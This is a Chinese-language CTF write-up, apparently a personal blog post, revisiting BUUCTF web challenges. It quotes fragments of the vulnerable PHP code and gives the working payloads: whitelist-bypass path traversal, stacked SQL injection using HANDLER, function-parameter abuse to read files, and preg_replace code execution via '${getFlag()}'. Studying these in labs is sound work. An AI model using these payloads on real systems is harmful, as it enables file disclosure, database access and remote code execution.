重温一下buuctf前面的题目
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
hint: flag in ffffllllaaaagggg
mb_substr() 函数返回字符串的一部分
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
checkFile函数的作用:
判断page是否被设置,是否为字符串
判断page是否在whitelist中
以?为分割符取出之前的字符,保存在 p a g e 判 断 _page 判断 page判断_page是否在whitelist中
url解码后以?为分割符取出之前字符,判断是否在whitelist中
?file=hint.php%253f…/…/…/…/…/…/…/…/…/ffffllllaaaagggg
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入
试出来是字符型注入,就应该想到闭合,加堆叠。
table:
FlagHere words
desc后证实flag应该确实在flaghere表里
prepare被过滤无法使用预处理
使用handler语句
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
题目很简单,做的时候有卡住。
还是先看允许上传什么类型,在此基础上修改后缀。进一步操作
看到post里两个值修改一下得到
func=file_get_contents&p=index.php
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
因为scandir返回的是数组所以这里不能用
先find到文件,在查看文件内容
但这里使用grep -r 好像不行
第一页很简单,得到next.php代码
$str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里有点饶,梳理下
这里的\1 是正则表达式的反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
前面()里的内容是$re,这里用\1 引用
接下来一个变量覆盖语句
最后就是要我们执行getFlag()
我一开始想 \S*=getFlag()&cmd=system(‘ls’);
但是发现不行,这里并不执行getFlag()
看网上payload这里要写成
${getFlag()}
把他当成一个变量名,来运行它